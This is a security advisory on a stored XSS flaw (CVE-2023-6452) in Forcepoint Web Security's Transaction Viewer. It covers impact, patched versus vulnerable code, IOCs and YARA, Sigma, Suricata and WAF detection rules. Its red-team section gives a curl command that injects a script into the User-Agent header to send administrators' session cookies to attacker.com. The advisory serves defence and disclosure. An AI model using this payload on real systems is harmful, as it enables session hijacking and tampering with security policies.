CVE-2023-6452

Executive Summary

CVE-2023-6452 is a critical Stored Cross-Site Scripting (XSS) vulnerability in Forcepoint Web Security's Transaction Viewer component. The vulnerability allows an attacker who can route traffic through the Forcepoint Web proxy to inject malicious JavaScript into the "user agent" field. When an administrator views the transaction logs, the injected script executes in the administrator's browser context, enabling the attacker to perform unauthorized actions, steal session tokens, or modify security policies. With a CVSS score of 9.6, this vulnerability poses a severe risk to organizations using Forcepoint Web Security versions prior to 8.5.6.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software vulnerability in Forcepoint Web Security.

CVSS Breakdown & Threat Level

• CVSS Score: 9.6 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (Administrator views the transaction log)
• Scope: Changed
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability. The attacker only needs to route traffic through the proxy, and the victim administrator must view the transaction logs.

Deep Dive & Mechanics

The vulnerability resides in the Transaction Viewer component of Forcepoint Web Security. When an administrator generates detailed reports on user requests, the "user agent" field from HTTP requests is displayed. The application fails to properly sanitize or encode the user agent string before rendering it in the web page.

An attacker can craft an HTTP request with a malicious user agent string containing JavaScript code. For example:

User-Agent: <script>alert('XSS')</script>

When the administrator views the transaction logs, the script executes in the context of the Forcepoint Web Security portal. This allows the attacker to:

• Steal session cookies
• Perform actions on behalf of the administrator (e.g., modify security policies, create new users)
• Redirect the administrator to malicious sites
• Exfiltrate sensitive data

The vulnerability is stored (persistent) because the malicious user agent is saved in the transaction logs and executed every time the logs are viewed.

Vulnerable vs. Patched Code

Vulnerable Code (before 8.5.6): The Transaction Viewer likely uses a template or function that directly outputs the user agent string without sanitization. For example:

echo "<td>" . $user_agent . "</td>";

Patched Code (8.5.6 and later): The patched version properly encodes the user agent string before rendering. For example:

echo "<td>" . htmlspecialchars($user_agent, ENT_QUOTES, 'UTF-8') . "</td>";

This ensures that any HTML or JavaScript in the user agent is displayed as text, not executed.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Ability to route traffic through a vulnerable Forcepoint Web Security proxy (version < 8.5.6)
• No authentication required

Exploitation Steps:

1. Craft an HTTP request with a malicious user agent string. For example:

   User-Agent: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the request through the vulnerable proxy. The request can be to any destination (e.g., a benign website).
3. Wait for an administrator to view the transaction logs in the Forcepoint Web Security portal.
4. The injected script executes, sending the administrator's session cookie to the attacker's server.

Example curl command:

curl -H "User-Agent: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" http://example.com

Blue Team (Defender)

Detection:

• Monitor for unusual user agent strings containing HTML or JavaScript tags (e.g., <script>, <img>, <svg>)
• Look for outbound connections from the Forcepoint Web Security server to unknown IPs or domains
• Use the detection rules provided in the Detection Engineering section

Mitigation:

• Immediately upgrade to Forcepoint Web Security version 8.5.6 or later
• If patching is not possible, restrict access to the Transaction Viewer to trusted administrators only
• Implement Content Security Policy (CSP) headers to limit script execution
• Use web application firewalls (WAF) to filter malicious user agents

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with user agent strings containing <script>, <img>, <svg>, or other HTML/JavaScript tags
  • Outbound connections from the Forcepoint Web Security server to unknown IPs or domains (e.g., attacker-controlled servers)
• File IOCs:
  • Log entries in Forcepoint Web Security transaction logs containing suspicious user agent strings
• Behavioral IOCs:
  • Unauthorized changes to Forcepoint Web Security policies or configurations
  • Unexpected administrator actions (e.g., creating new users, modifying rules)

Detection Engineering

YARA Rule

rule CVE_2023_6452_Stored_XSS {
    meta:
        description = "Detects malicious user agent strings targeting CVE-2023-6452"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "CVE-2023-6452"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /<img[^>]*onerror/i
        $xss3 = /<svg[^>]*onload/i
        $xss4 = /javascript:/i
        $xss5 = /onerror\s*=/i
        $xss6 = /onload\s*=/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2023-6452 Stored XSS in Forcepoint Web Security Transaction Viewer
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with malicious user agent strings targeting CVE-2023-6452
author: Valters IT
date: 2025-04-08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6452
logsource:
    category: proxy
    product: forcepoint_web_security
detection:
    selection:
        user_agent|contains:
            - '<script'
            - '<img'
            - '<svg'
            - 'javascript:'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate user agents containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6452 Stored XSS in Forcepoint Web Security Transaction Viewer"; flow:to_server; content:"User-Agent"; nocase; http_header; pcre:"/User-Agent\x3a[^\r\n]*<(script|img|svg|javascript|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Forcepoint Web Security to version 8.5.6 or later. This is the only complete fix.
2. Workaround: If patching is not immediately possible, restrict access to the Transaction Viewer to a limited set of trusted administrators. Use network segmentation to limit who can view transaction logs.
3. WAF Rules: Deploy web application firewall rules to block requests with malicious user agents. Example rule:

   SecRule REQUEST_HEADERS:User-Agent "@rx <script|<img|<svg|javascript:|onerror=|onload=" "id:1000001,phase:1,deny,status:403,msg:'CVE-2023-6452 XSS attempt'"
   

4. CSP Headers: Implement Content Security Policy headers on the Forcepoint Web Security portal to restrict script execution. Example:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

5. Monitor Logs: Review transaction logs for suspicious user agent strings and investigate any anomalies.

Long-term Recommendations:

• Implement input validation and output encoding for all user-controlled data in web applications.
• Conduct regular security audits and penetration testing.
• Stay informed about security advisories from Forcepoint and apply patches promptly.

Valters IT